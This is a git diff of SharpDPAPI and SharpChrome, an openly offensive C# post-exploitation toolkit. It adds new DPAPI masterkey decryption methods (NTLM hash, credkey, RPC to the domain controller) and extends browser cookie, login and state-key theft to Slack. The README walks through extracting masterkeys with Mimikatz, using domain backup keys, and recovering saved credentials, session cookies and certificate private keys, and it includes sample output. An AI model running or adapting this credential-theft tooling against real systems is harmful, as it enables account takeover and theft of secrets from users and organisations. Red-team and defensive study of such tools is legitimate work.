diff --git a/.gitignore b/.gitignore index 8e08f97..057b906 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,4 @@ +.idea .vs *.user [Dd]ebug/ diff --git a/CHANGELOG.md b/CHANGELOG.md index c89af3e..10aca11 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,34 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [1.12.0] - 2024-12-14 + +### Added + * Support for local/domain credkey usage for masterkey decryption + * Slack support to statekeys/cookies commands (@Lee Christensen) + * Ability to specify local state file (@Lee Christensen) + * RPC (MS-BKUP) masterkey retrieval (@Kiblyn11) + * User-context unprotect option for certificates (@ptr0x1) + * Teams statekey support (@fsacer) + * Ability to dump hashes in jtr/hashcat format (@rxwx) + * HMAC validation to 3DES SHA1 (@rxwx) + * SCCM object data parsing (@guervild) + * SCCM to machine triage (@subat0mik) + +### Fixed + * User local admin SID enumeration (@clod81) + * FIPS compliant API usage (@Calvin Hedle) + * Updated for latest editthiscookie format (@djhohnstein) + * String types + code cleanup (@Lee Christensen) + * SCCM regex fix (@guervild) + * Bug in user SID extraction (@rxwx) + * nameof to true name for BCrypt* defs (@djhohnstein) + +### Changed + * NTLM hash now manually specified with `/ntlm` instead of inferred from `/password` + * Backupkey now not line wrapped by default + + ## [1.11.3] - 2022-06-06 ### Fixed @@ -43,7 +71,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Fixed * **SharpDPAPI** project - * Decrypted null bytes in certificate description fields messing up output + * Decrypted null bytes in certificate description fields messing up output ## [1.10.0] - 2021-02-25 diff --git a/README.md b/README.md index 8be22a4..e5d62f4 100755 --- a/README.md +++ b/README.md @@ -12,7 +12,7 @@ Both Chrome and newer Chromium-based Edge browsers can be triaged with SharpChro SharpChrome also uses an minimized version of @AArnott's [BCrypt P/Invoke code](https://github.com/AArnott/pinvoke/tree/master/src/BCrypt) released under the MIT License. -If you're unfamiliar with DPAPI, [check out this post](https://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/) for more background information. For more information on Credentials and Vaults in regards to DPAPI, check out Benjamin's [wiki entry on the subject.](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials) +If you're unfamiliar with DPAPI, [check out this post](https://blog.harmj0y.net/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/) for more background information. For more information on Credentials and Vaults in regards to DPAPI, check out Benjamin's [wiki entry on the subject.](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials) [@harmj0y](https://twitter.com/harmj0y) is the primary author of this port. @@ -49,7 +49,7 @@ SharpDPAPI is licensed under the BSD 3-Clause license. - [blob](#blob) - [backupkey](#backupkey) - [search](#search) - - [sccm](#sccm) + - [SCCM](#sccm) - [SharpChrome Commands](#sharpchrome-commands) - [logins](#logins) - [cookies](#cookies) @@ -70,9 +70,7 @@ SharpDPAPI is licensed under the BSD 3-Clause license. (_ |_ _. ._ ._ | \ |_) /\ |_) | __) | | (_| | |_) |_/ | /--\ | _|_ | - v1.11.3 - - + v1.20.0 Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and output file: @@ -102,19 +100,26 @@ SharpDPAPI is licensed under the BSD 3-Clause license. /target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys) /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys - /password:X - first decrypt the current user's masterkeys using a plaintext password or NTLM hash (works remotely) + /password:X - decrypt the target user's masterkeys using a plaintext password (works remotely) + /ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely) + /credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely) + /rpc - decrypt the target user's masterkeys by asking domain controller to do so /server:SERVER - triage a remote server, assuming admin access + /hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption) Arguments for the credentials|vaults|rdg|keepass|triage|blob|ps commands: Decryption: /unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands - /password:X - first decrypt the current user's masterkeys using a plaintext password or NTLM hash. Works with any function, as well as remotely. - GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption - /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys + /password:X - decrypt the target user's masterkeys using a plaintext password (works remotely) + /ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely) + /credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely) + /rpc - decrypt the target user's masterkeys by asking domain controller to do so + GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption + /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption Targeting: /target:FILE/folder - triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder @@ -129,14 +134,13 @@ SharpDPAPI is licensed under the BSD 3-Clause license. /showall - show all decrypted private key files, not just ones that are linked to installed certs (the default) /machine - use the local machine store for certificate triage /mkfile | /target - for /machine triage - /pvk | /mkfile | /password | /server | /target - for user triage + [all decryption args from User Triage above] Note: in most cases, just use *triage* if you're targeting user DPAPI secrets and *machinetriage* if you're going after SYSTEM DPAPI secrets. These functions wrap all the other applicable functions that can be automatically run. - #### SharpChrome Command Line Usage __ _ @@ -155,18 +159,20 @@ SharpDPAPI is licensed under the BSD 3-Clause license. Decryption: /unprotect - force use of CryptUnprotectData() (default for unprivileged execution) - /password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely. - GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption - /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys - /statekey:X - a decrypted AES state key (from the 'statekeys' command) + /password:X - decrypt the target user's masterkeys using a plaintext password (works remotely) + /ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely) + /prekey:X - decrypt the target user's masterkeys using a DPAPI prekey (domain or local SHA1, works remotely) + /rpc - decrypt the target user's masterkeys by asking domain controller to do so + GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption + /statekey:X - a decrypted AES state key (from the 'statekey' command) Targeting: /target:FILE - triage a specific 'Cookies', 'Login Data', or 'Local State' file location /target:C:\Users\X\ - triage a specific user folder for any specified command /server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY) - /browser:X - triage 'chrome' (the default) or (chromium-based) 'edge' + /browser:X - triage 'chrome' (default), (chromium-based) 'edge', or 'slack' Output: /format:X - either 'csv' (default) or 'table' display @@ -194,17 +200,21 @@ If domain admin (or equivalent) privileges have been obtained, the domain DPAPI If DA privileges have not been achieved, using Mimikatz' `sekurlsa::dpapi` command will retrieve DPAPI masterkey {GUID}:SHA1 mappings of any loaded master keys (user and SYSTEM) on a given system (tip: running `dpapi::cache` after key extraction will give you a nice table). If you change these keys to a `{GUID1}:SHA1 {GUID2}:SHA1...` type format, they can be supplied to the [credentials](#credentials), [vaults](#vaults), [rdg](#rdg), or [triage](#triage) commands. This lets you triage all Credential files/Vaults on a system for any user who's currently logged in, without having to do file-by-file decrypts. +Alternatively, if you can supply a target user's password, NTLM hash, or DPAPI prekey for user-command with `/password:X`, `/ntlm:X`, or `/prekey:X` respectively. The `dpapi` field of Mimikatz' `sekurlsa::msv` output for domain users can be used as the `/prekey`, while the `sha1` field of `sekurlsa::msv` output can be used as the `/prekey` for local users. + For decrypting RDG/RDCMan.settings files with the [rdg](#rdg) command, the `/unprotect` flag will use CryptUnprotectData() to decrypt any saved RDP passwords, *if* the command is run from the user context who saved the passwords. This can be done from an _unprivileged_ context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's [documentation here](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials#problem). For machine-specific DPAPI triage, the `machinemasterkeys|machinecredentials|machinevaults|machinetriage` commands will do the machine equivalent of user DPAPI triage. If in an elevated context (that is, you need local administrative rights), SharpDPAPI will elevate to SYSTEM privileges to retrieve the "DPAPI_SYSTEM" LSA secret, which is then used to decrypt any discovered machine DPAPI masterkeys. These keys are then used as lookup tables for machine credentials/vaults/etc. -For more offensive DPAPI information, [check here](https://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/). +For more offensive DPAPI information, [check here](https://blog.harmj0y.net/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/). #### SharpChrome SharpChrome is a Chrome-specific implementation of SharpDPAPI capable of **cookies** and **logins** decryption/triage. It is built as a separate project in SharpDPAPI because of the size of the SQLite library utilized. -Since Chrome Cookies/Login Data are saved without CRYPTPROTECT_SYSTEM, CryptUnprotectData() is back on the table. If SharpChrome is run from an unelevated contect, it will attempt to decrypt any logins/cookies for the current user using CryptUnprotectData(). A `/pvk:[BASE64|file.pvk]`, {GUID}:SHA1 lookup table, `/password:X`, or `/mkfile:FILE` of {GUID}:SHA1 values can also be used to decrypt values. Also, the [C# SQL library](https://github.com/akveo/digitsquare/tree/a251a1220ef6212d1bed8c720368435ee1bfdfc2/plugins/com.brodysoft.sqlitePlugin/src/wp) used (with a few modifications) supports [lockless opening](https://github.com/gentilkiwi/mimikatz/pull/199), meaning that Chrome does not have to be closed/target files do not have to be copied to another location. +Since Chrome Cookies/Login Data are saved without CRYPTPROTECT_SYSTEM, CryptUnprotectData() is back on the table. If SharpChrome is run from an unelevated contect, it will attempt to decrypt any logins/cookies for the current user using CryptUnprotectData(). A `/pvk:[BASE64|file.pvk]`, {GUID}:SHA1 lookup table, `/password:X`, `/ntlm:X`, `/prekey:X`, or `/mkfile:FILE` of {GUID}:SHA1 values can also be used to decrypt values. Also, the [C# SQL library](https://github.com/akveo/digitsquare/tree/a251a1220ef6212d1bed8c720368435ee1bfdfc2/plugins/com.brodysoft.sqlitePlugin/src/wp) used (with a few modifications) supports [lockless opening](https://github.com/gentilkiwi/mimikatz/pull/199), meaning that Chrome does not have to be closed/target files do not have to be copied to another location. + +Alternatively, if you can supply a target user's password, NTLM hash, or DPAPI prekey for user-command with `/password:X`, `/ntlm:X`, or `/prekey:X` respectively. The `dpapi` field of Mimikatz' `sekurlsa::msv` output for domain users can be used as the `/prekey`, while the `sha1` field of `sekurlsa::msv` output can be used as the `/prekey` for local users. If Chrome is version 80+, an AES state key is stored in *AppData\Local\Google\Chrome\User Data\Local State* - this key is protected with DPAPI, so we can use CryptUnprotectData()/pvk/masterkey lookup tables to decrypt it. This AES key is then used to protect new cookie and login data entries. This is also the process when `/browser:edge` or `/browser:brave` is specified, for newer Chromium-based Edge browser triage. @@ -259,18 +269,18 @@ The `Preferred` key is also parsed in order to highlight the current preferred m __) | | (_| | |_) |_/ | /--\ | _|_ | v1.11.3 - - + + [*] Action: User DPAPI Masterkey File Triage - + [*] Will dump user masterkey hashes - + [*] Found MasterKey : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa [*] Found MasterKey : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a ...(snip)... [*] Preferred master keys: - + C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a @@ -325,7 +335,7 @@ Using domain {GUID}:SHA1 masterkey mappings: Using a domain DPAPI backup key to first decrypt any discoverable masterkeys: - + C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)... __ _ _ _ ___ @@ -695,7 +705,9 @@ Using `/unprotect` to decrypt any found key material: The **certificates** command will search user encrypted DPAPI certificate private keys a) decrypt them with any "{GUID}:SHA1" masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys (a la **masterkeys**), or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command. -A specific certificiate can be specified with `/target:C:\Folder\`. In this case, either a) {GUID}:SHA1 values must be supplied or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied. +The `/unprotect` flag will use CryptUnprotectData() to decrypt private keys, *if* the command is run from the user context whose certificates you are trying to access. This can be done from an _unprivileged_ context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's [documentation here](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials#problem). + +A specific certificate can be specified with `/target:FILE` or `/target:C:\Folder\`. In both cases, {GUID}:SHA1 values (or `/unprotect`) are required or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied. By default, only private keys linkable to an associated installed certificate are displayed. The `/showall` command will display ALL decrypted private keys. @@ -747,6 +759,53 @@ Using domain {GUID}:SHA1 masterkey mappings: MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)... -----END CERTIFICATE----- +Using `/unprotect` to decrypt any found user certificates: + + C:\Temp> SharpDPAPI.exe certificates /unprotect + + __ _ _ _ ___ + (_ |_ _. ._ ._ | \ |_) /\ |_) | + __) | | (_| | |_) |_/ | /--\ | _|_ + | + v1.11.3 + + + [*] Action: Certificate Triage + + [*] Using CryptUnprotectData() for decryption. + + + Folder : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104 + + File : f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b + + Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb} + Master Key GUID : {27db0044-e2aa-4ea2-b2c0-c469e9b29ed9} + Description : Private Key + algCrypt : CALG_AES_256 (keyLen 256) + algHash : CALG_SHA_512 (32782) + Salt : d7e1e00ed8a6249b5f05c487154e83cc0b51f71131530d0d46d3bfc63d890468 + HMAC : 4869f296cdcc964262a57e2efc4f2c5df57c2ed7319e297daa2107810da5c171 + Unique Name : {4A07001C-57BE-4E8B-86D1-43CACDF8D448} + + Thumbprint : BBD9B90FE1A4E37BD646CBC922ABE06C24C1E725 + Issuer : CN=theshire-DC-CA, DC=theshire, DC=local + Subject : CN=harmj0y + Valid Date : 10/18/2022 11:40:07 AM + Expiry Date : 10/18/2023 12:00:07 PM + Enhanced Key Usages: + Client Authentication (1.3.6.1.5.5.7.3.2) + [!] Certificate is used for client auth! + Server Authentication (1.3.6.1.5.5.7.3.1) + + [*] Private key file f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b was recovered: + + -----BEGIN RSA PRIVATE KEY----- + MIIEowIBAAKCAQEAxVEW49fMt...(snip)... + -----END RSA PRIVATE KEY----- + -----BEGIN CERTIFICATE----- + MIIDKjCCAhKgAwIBAgIQYwhUr...(snip)... + -----END CERTIFICATE----- Using a domain DPAPI backup key to first decrypt any discoverable masterkeys: @@ -1132,7 +1191,7 @@ The `/unprotect` flag will use CryptUnprotectData() to decrypt the blob without Decrypt a blob using CryptProtectData() (the `/unprotect` flag): -C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob.bin /unprotect + C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob.bin /unprotect __ _ _ _ ___ (_ |_ _. ._ ._ | \ |_) /\ |_) | @@ -1270,7 +1329,7 @@ The `search` command works by searching for the following bytes, which represent 0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01, 0x15, 0xD1, 0x11, 0x8C, 0x7A, 0x00, 0xC0, 0x4F, 0xC2, 0x97, 0xEB ``` -The search command has different arguments depending on the data type being scanned. To designate the data type, use the `/type` argument specifying `registry`, `folder`, `file`, or `base64`. If the `/type` argument is not present, the command will search the registry by default. +The search command has different arguments depending on the data type being scanned. To designate the data type, use the `/type` argument specifying `registry`, `folder`, `file`, or `base64`. If the `/type` argument is not present, the command will search the registry by default. When searching the registry with no other arguments, the command will recursively search the HKEY_LOCAL_MACHINE and HKEY_USERS hives. Use `/path` parameter to specify a root to key to search from (e.g. `/path:HKLM\Software`) and use the `/showErrors` argument to display errors that occuring during enumeration. @@ -1297,7 +1356,7 @@ If run from an elevated context, Login Data files for ALL users will be triaged, ### cookies -The **cookies** command will search for Chrome 'Cookies' files and decrypt cookie values. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values. If `/browser:edge` is specified, the newer Chromium-based Edge browser is triaged. +The **cookies** command will search for Chromium 'Cookies' files and decrypt cookie values. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values. You can change the target application using the `/browser:` (e.g., edge, brave, slack). Cookie files can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys, or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command. @@ -1311,7 +1370,7 @@ The **cookies** command also has `/cookie:REGEX` and `/url:REGEX` arguments to o ### statekeys -The **statekeys** command will search for Chrome/Edge AES statekey files (i.e. 'AppData\Local\Google\Chrome\User Data\Local State' and 'AppData\Local\Microsoft\Edge\User Data\Local State') and decrypts them using the same type of arguments that can be supplied for `cookies` and `logins`. +By default, the **statekeys** command will search for Chromium-based applications (Google Chrome, Edge, Brave, and Slack), locate their AES statekey files (e.g., 'AppData\Local\Google\Chrome\User Data\Local State' and 'AppData\Local\Microsoft\Edge\User Data\Local State'), and decrypt them using the same type of arguments that can be supplied for `cookies` and `logins`. You may also supply the path to a specific state-key file using the `/target:` parameter (e.g., `"/target:C:\Users\Test\appdata\Local\Google\Chrome\User Data\Local State"`). State keys can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys, or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command. diff --git a/SharpChrome/Commands/Cookies.cs b/SharpChrome/Commands/Cookies.cs index 5aa7263..080dd11 100755 --- a/SharpChrome/Commands/Cookies.cs +++ b/SharpChrome/Commands/Cookies.cs @@ -1,4 +1,5 @@ -using System; +using SharpDPAPI; +using System; using System.Collections.Generic; using System.IO; @@ -119,19 +120,23 @@ public void Execute(Dictionary arguments) } else if (arguments.ContainsKey("/password")) { - string password = arguments["/password"]; - if (!quiet) - { - Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); - } - if (arguments.ContainsKey("/server")) - { - masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(null, true, arguments["/server"], password); - } - else - { - masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(null, true, "", password); - } + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); + } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/credkey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); + } + else if (arguments.ContainsKey("/rpc")) + { + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = Triage.TriageUserMasterKeys(show: true, rpc: true); } if (arguments.ContainsKey("/target")) diff --git a/SharpChrome/Commands/Logins.cs b/SharpChrome/Commands/Logins.cs index 6248344..e361055 100755 --- a/SharpChrome/Commands/Logins.cs +++ b/SharpChrome/Commands/Logins.cs @@ -90,19 +90,23 @@ public void Execute(Dictionary arguments) } else if (arguments.ContainsKey("/password")) { - string password = arguments["/password"]; - if (!quiet) - { - Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); - } - if (arguments.ContainsKey("/server")) - { - masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(null, true, arguments["/server"], password); - } - else - { - masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(null, true, "", password); - } + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); + } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/credkey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); + } + else if (arguments.ContainsKey("/rpc")) + { + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(show: true, rpc: true); } if (arguments.ContainsKey("/target")) diff --git a/SharpChrome/Commands/Statekeys.cs b/SharpChrome/Commands/Statekeys.cs index 7caf8e1..58dab4e 100644 --- a/SharpChrome/Commands/Statekeys.cs +++ b/SharpChrome/Commands/Statekeys.cs @@ -47,16 +47,23 @@ public void Execute(Dictionary arguments) } else if (arguments.ContainsKey("/password")) { - string password = arguments["/password"]; - Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); - if (arguments.ContainsKey("/server")) - { - masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(null, true, arguments["/server"], password); - } - else - { - masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(null, true, "", password); - } + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); + } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/credkey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); + } + else if (arguments.ContainsKey("/rpc")) + { + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(show: true, rpc: true); } if (arguments.ContainsKey("/target")) diff --git a/SharpChrome/Domain/Info.cs b/SharpChrome/Domain/Info.cs index 6d322a0..6d725e5 100755 --- a/SharpChrome/Domain/Info.cs +++ b/SharpChrome/Domain/Info.cs @@ -25,19 +25,21 @@ public static void ShowUsage() Decryption: /unprotect - force use of CryptUnprotectData() (default for unprivileged execution) - /password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely. - GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption - /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys + /password:X - decrypt the target user's masterkeys using a plaintext password (works remotely) + /ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely) + /credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely) + /rpc - decrypt the target user's masterkeys by asking domain controller to do so + GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption /statekey:X - a decrypted AES state key (from the 'statekey' command) - + Targeting: /target:FILE - triage a specific 'Cookies', 'Login Data', or 'Local State' file location /target:C:\Users\X\ - triage a specific user folder for any specified command /server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY) /browser:X - triage 'chrome' (the default) or (chromium-based) 'edge'/'brave' - + Output: /format:X - either 'csv' (default) or 'table' display /showall - show Login Data entries with null passwords and expired Cookies instead of filtering (default) @@ -46,7 +48,7 @@ public static void ShowUsage() 'cookies' command specific arguments: - + /cookie:""REGEX"" - only return cookies where the cookie name matches the supplied regex /url:""REGEX"" - only return cookies where the cookie URL matches the supplied regex /format:json - output cookie values in an Cookie-Editor JSON import format. Best when used with a regex! diff --git a/SharpChrome/SharpChrome.csproj b/SharpChrome/SharpChrome.csproj index 70692df..f0b4201 100755 --- a/SharpChrome/SharpChrome.csproj +++ b/SharpChrome/SharpChrome.csproj @@ -37,6 +37,8 @@ + + @@ -81,6 +83,9 @@ lib\Tuple.cs + + lib\Bkrp.cs + diff --git a/SharpChrome/lib/Chrome.cs b/SharpChrome/lib/Chrome.cs old mode 100755 new mode 100644 index f8f0347..57287e5 --- a/SharpChrome/lib/Chrome.cs +++ b/SharpChrome/lib/Chrome.cs @@ -53,12 +53,12 @@ public static void TriageChromeLogins(Dictionary MasterKeys, str // if we have a user folder as the target to triage userDirectories.Add(userFolder); } - else if(SharpDPAPI.Helpers.IsHighIntegrity()) + else if (SharpDPAPI.Helpers.IsHighIntegrity()) { - if($"{System.Security.Principal.WindowsIdentity.GetCurrent().User}" == "S-1-5-18") + if ($"{System.Security.Principal.WindowsIdentity.GetCurrent().User}" == "S-1-5-18") { // if we're SYSTEM - if(MasterKeys.Count > 0) + if (MasterKeys.Count > 0) { if (!quiet) { @@ -75,7 +75,7 @@ public static void TriageChromeLogins(Dictionary MasterKeys, str return; } } - else if(MasterKeys.Count == 0) + else if (MasterKeys.Count == 0) { // if we're elevated but not SYSTEM, and no masterkeys are supplied, assume we're triaging just the current user if (!quiet) @@ -107,7 +107,7 @@ public static void TriageChromeLogins(Dictionary MasterKeys, str } - foreach(string userDirectory in userDirectories) + foreach (string userDirectory in userDirectories) { var loginDataPath = ""; var aesStateKeyPath = ""; @@ -238,11 +238,11 @@ public static void TriageChromeCookies(Dictionary MasterKeys, st { var cookiePath = ""; var aesStateKeyPath = ""; - + if (browser.ToLower() == "chrome") { cookiePath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", userDirectory); - if(!File.Exists(cookiePath)) + if (!File.Exists(cookiePath)) { cookiePath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies", userDirectory); } @@ -266,6 +266,11 @@ public static void TriageChromeCookies(Dictionary MasterKeys, st } aesStateKeyPath = String.Format("{0}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State", userDirectory); } + else if (browser.ToLower() == "slack") + { + cookiePath = String.Format("{0}\\AppData\\Roaming\\Slack\\Network\\Cookies", userDirectory); + aesStateKeyPath = String.Format("{0}\\AppData\\Roaming\\Slack\\Local State", userDirectory); + } else { Console.WriteLine("[X] ERROR: only 'chrome', 'edge', and 'brave' are currently supported for browsers."); @@ -289,6 +294,7 @@ public static void TriageChromeCookies(Dictionary MasterKeys, st public static void TriageStateKeys(Dictionary MasterKeys, string computerName = "", bool unprotect = false, string target = "", string userFolder = "") { + List aesKeyPaths = new List(); // triage all Chromium state keys we can reach List userDirectories = new List(); @@ -313,6 +319,10 @@ public static void TriageStateKeys(Dictionary MasterKeys, string userDirectories.AddRange(Directory.GetDirectories(userDirectoryBase)); } } + else if (File.Exists(target)) + { + aesKeyPaths.Add(target); + } else if (!String.IsNullOrEmpty(userFolder)) { // if we have a user folder as the target to triage @@ -359,19 +369,18 @@ public static void TriageStateKeys(Dictionary MasterKeys, string foreach (string userDirectory in userDirectories) { - string[] aesKeyPaths = new string[] - { - $"{userDirectory}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", - $"{userDirectory}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", - $"{userDirectory}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State" - }; + aesKeyPaths.Add($"{userDirectory}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State"); + aesKeyPaths.Add($"{userDirectory}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State"); + aesKeyPaths.Add($"{userDirectory}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State"); + aesKeyPaths.Add($"{userDirectory}\\AppData\\Roaming\\Slack\\Local State"); + 